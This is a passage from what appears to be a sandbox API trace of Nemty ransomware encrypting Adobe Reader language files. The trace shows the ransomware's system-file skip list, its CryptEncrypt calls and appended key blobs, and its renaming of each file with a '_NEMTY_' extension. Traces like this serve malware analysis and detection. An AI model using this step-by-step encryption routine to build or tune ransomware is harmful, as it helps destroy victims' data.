hHeap=0x4f90000) returned 1 [0215.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt.txt", lpUsedDefaultChar=0x0) returned 27 [0215.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt.txt", lpUsedDefaultChar=0x0) returned 27 [0215.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.989] Sleep (dwMilliseconds=0x5) [0215.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34618190, dwHighDateTime=0x1d561e8)) [0215.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34618190, dwHighDateTime=0x1d561e8)) [0215.995] GetLastError () returned 0x0 [0215.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.996] GetLastError () returned 0x0 [0215.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.996] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.996] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.996] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.996] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="mI1aBDlK8BNjpnrf0vl17MHFk5xgvJrrboM2FXONQLuY/8l1xQ2QefQI2BCuTOY1\r\n+u1L2c0pmY0xwjcZfPBelCPhfJH40UJC3yx6EAwLGutcl3ffmcMu7mAQOyOE2Sel\r\nVFbk7tiOED56BY5y6LWRStfqqE+WD9CVLm4Aisebaa1+VcNR/a5HYUj6JtraPfZO\r\nWk/Nyq5QFd06BQFalN3JQAeyGTXXpzbRKYmkuwLwX5HrQIRwOnEUKyt61KKk5+e1\r\nrCpzsYnv56jRzMlsx3WGkHmEeLFbnMhm89a0EPYtQV21kXiROuSysa11kZDEYusa\r\nq8VyA8uWC2ZgsgsqlrqmLA==\r\n", pcchString=0x653e5dc) returned 1 [0215.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.996] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.997] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27626) returned 1 [0215.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6be0) returned 0x6352c48 [0215.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.997] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6be0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6be0, lpOverlapped=0x0) returned 1 [0216.000] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.000] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6be0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6be0, lpOverlapped=0x0) returned 1 [0216.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.000] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6bea [0216.001] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.001] CloseHandle (hObject=0x2e8) returned 1 [0216.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.001] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt._nemty_kgobjgd_")) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.002] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2f5540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6bea, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.lt_LT.txt", cAlternateFileName="DI6CC8~1.TXT")) returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2=".") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="..") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="...") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="windows") returned -1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="rsa") returned -1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="NTDETECT.COM") returned -1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="ntldr") returned -1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="MSDOS.SYS") returned -1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="IO.SYS") returned -1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="boot.ini") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="boot.ini") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="ntuser.dat") returned -1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="desktop.ini") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="CONFIG.SYS") returned 1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="RECYCLER") returned -1 [0216.002] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.003] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="bootmgr") returned 1 [0216.003] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="programdata") returned -1 [0216.003] lstrcmpiW (lpString1="DisplayLanguageNames.lt_LT.txt", lpString2="appdata") returned 1 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt_LT.txt", lpUsedDefaultChar=0x0) returned 30 [0216.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt_LT.txt", lpUsedDefaultChar=0x0) returned 30 [0216.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt_LT.txt", lpUsedDefaultChar=0x0) returned 30 [0216.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt_LT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt_LT.txt", lpUsedDefaultChar=0x0) returned 30 [0216.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.003] Sleep (dwMilliseconds=0x5) [0216.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3463e2f0, dwHighDateTime=0x1d561e8)) [0216.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3463e2f0, dwHighDateTime=0x1d561e8)) [0216.011] GetLastError () returned 0x0 [0216.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.011] GetLastError () returned 0x0 [0216.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.011] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.011] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.012] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.012] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="fq/USgGMuQUEU6VJS6TvgQ+HP8MnwWyZ/CyI6jH1p8cpn811MfRSkiNKmvWevomw\r\n79tZkMEzoEpvvz8iYc8JNC2Lc0A+zVOUOVYdbf7zqJjRZQRJsxvJtWP3NkvKLIV+\r\ncV31yZr2Ai+CZ3QSEnSkSPHgoSvRTr1AFKb4OZEQXeZW0gjkHjNxhFsQ4yIKKFDj\r\nxGX4w+qFwX2M+bQp8qM5L0tRI1Rw+is7Id8ixR+CHONQm4O7rhYOPpCMK6STIifN\r\nGoqHQq2OavSAEeXyzxZEv61VCkYUAyt5IHruoGGwf+mb6rTHHysRcUuJMfOvXzUI\r\nNOk9lCd9vuJjrvbkL8Hzkg==\r\n", pcchString=0x653e5dc) returned 1 [0216.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.012] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27626) returned 1 [0216.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6be0) returned 0x6352c48 [0216.012] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.012] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6be0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6be0, lpOverlapped=0x0) returned 1 [0216.015] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.015] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6be0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6be0, lpOverlapped=0x0) returned 1 [0216.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.016] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6bea [0216.016] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.016] CloseHandle (hObject=0x2e8) returned 1 [0216.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.016] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt._nemty_kgobjgd_")) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.017] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, 